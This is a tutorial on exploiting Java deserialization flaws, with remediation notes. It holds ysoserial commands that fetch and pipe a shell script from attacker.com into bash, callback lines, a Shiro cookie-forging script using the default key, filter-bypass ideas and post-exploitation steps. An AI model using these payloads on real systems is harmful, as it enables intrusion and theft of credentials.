Java Deserialization Attacks: From Gadget Chains to RCE
Understanding and exploiting Java deserialization vulnerabilities - identifying vulnerable endpoints, building gadget chains with ysoserial, and exploiting real-world applications.
How Java Serialization Works
Java’s ObjectInputStream.readObject() reconstructs objects from byte streams. The serialized format starts with the magic bytes AC ED 00 05 (hex) or rO0AB (base64). When readObject() is called on untrusted data, the attacker controls which classes are instantiated and how their methods execute during deserialization.
Finding Deserialization Endpoints
Common Locations
| Technology | Where to Look |
|---|---|
| Java RMI | Port 1099, any RMI endpoint |
| JMX | Port 9010-9012, MBean server |
| JBoss/WildFly | /invoker/JMXInvokerServlet, /invoker/EJBInvokerServlet |
| WebLogic | /wls-wsat/*, T3 protocol on port 7001 |
| Jenkins | CLI port, /cli endpoint |
| Apache Shiro | rememberMe cookie (AES-CBC encrypted serialized data) |
| ViewState (.NET) | __VIEWSTATE parameter (if MAC disabled) |
| Custom apps | Any parameter containing base64 that decodes to AC ED |
Detection
# Scan for serialized data in HTTP traffic
# Look for base64 starting with rO0AB
grep -rn "rO0AB" proxy_logs.txt
# Check raw bytes for AC ED 00 05
xxd suspicious_param | head
Understanding Gadget Chains
A gadget chain is a sequence of existing Java classes (already on the classpath) whose methods, when triggered during deserialization, lead to dangerous operations like command execution.
The Chain Concept
readObject() → ClassA.readObject() calls method X
→ ClassB.method X triggers method Y
→ ClassC.method Y calls Runtime.exec()
The attacker doesn’t inject new code - they arrange existing library classes so their deserialization callbacks chain together to reach a dangerous sink.
Common Gadget Libraries
| Library | Gadget Chain | Sink |
|---|---|---|
| Commons Collections 3.1 | CC1, CC5, CC6, CC7 | InvokerTransformer → Runtime.exec() |
| Commons Beanutils | CB1 | BeanComparator → Runtime.exec() |
| Spring Framework | Spring1, Spring2 | MethodInvokeTypeProvider |
| Groovy | Groovy1 | MethodClosure → Runtime.exec() |
| JDK (7u21) | JDK7u21 | AnnotationInvocationHandler |
| Hibernate | Hibernate1 | Getter → TemplatesImpl |
| ROME | ROME | ObjectBean → TemplatesImpl |
Exploitation with ysoserial
ysoserial generates serialized payloads for known gadget chains:
# Generate payload for Commons Collections
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh | bash' > payload.bin
# Base64 encode for HTTP parameter
base64 -w0 payload.bin > payload.b64
# Send via curl
curl -X POST http://target.com/api/deserialize \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.bin
Blind Exploitation
Often you can’t see command output. Use these techniques to confirm RCE:
# DNS callback (most reliable)
java -jar ysoserial.jar CommonsCollections6 'nslookup $(whoami).attacker.com'
# HTTP callback
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)'
# Sleep-based (time difference)
java -jar ysoserial.jar CommonsCollections6 'sleep 10'
Real-World: Apache Shiro CVE-2016-4437
Apache Shiro’s “Remember Me” cookie contains AES-CBC encrypted serialized Java objects. The default encryption key is hardcoded: kPH+bIxk5D2deZiIxcaaaA==
Exploitation
import base64
from Crypto.Cipher import AES
# Shiro default key
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
# Generate ysoserial payload
payload = open("payload.bin", "rb").read()
# Pad to AES block size
pad = 16 - (len(payload) % 16)
payload += bytes([pad]) * pad
# Encrypt
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = iv + cipher.encrypt(payload)
# Set as cookie
cookie = base64.b64encode(encrypted).decode()
# Send: Cookie: rememberMe=<cookie>
Bypassing Deserialization Filters
Modern Java includes ObjectInputFilter (JEP 290) that can whitelist/blacklist classes during deserialization. Bypass strategies:
JDK-Only Gadgets
Some chains use only JDK classes that are always allowed. JDK7u21 chain uses AnnotationInvocationHandler + TemplatesImpl.
Look-Ahead Deserialization
Tools like SerialKiller and NotSoSerial inspect classes before deserializing. Sometimes they only check the first class in the stream - nested objects may bypass the filter.
Alternative Formats
If Java serialization is filtered, check for:
- XML deserialization (XStream) → similar gadget chains
- YAML deserialization (SnakeYAML) →
!!javax.script.ScriptEngineManager - JSON (Jackson, Fastjson) → polymorphic type handling
Post-Exploitation
Once you have command execution via deserialization:
- Establish a proper reverse shell (not through the serialization endpoint)
- Check the application’s
server.xmlorapplication.propertiesfor database credentials - Enumerate the internal network - Java apps often have access to internal services
- Check for AWS/GCP metadata if cloud-hosted
- Look for other applications using the same vulnerable library version
Remediation
- Never deserialize untrusted data
- Implement
ObjectInputFilter(JEP 290) with strict allowlists - Update vulnerable libraries (Commons Collections ≥ 3.2.2, ≥ 4.1)
- Use JSON/Protocol Buffers instead of Java serialization
- Deploy RASP (Runtime Application Self-Protection) to detect exploitation
- Monitor for
AC ED 00 05/rO0ABin HTTP parameters
Java deserialization is one of the most impactful vulnerability classes - a single endpoint can give you RCE on the server. If you find serialized data in any HTTP parameter or cookie, test it immediately with ysoserial.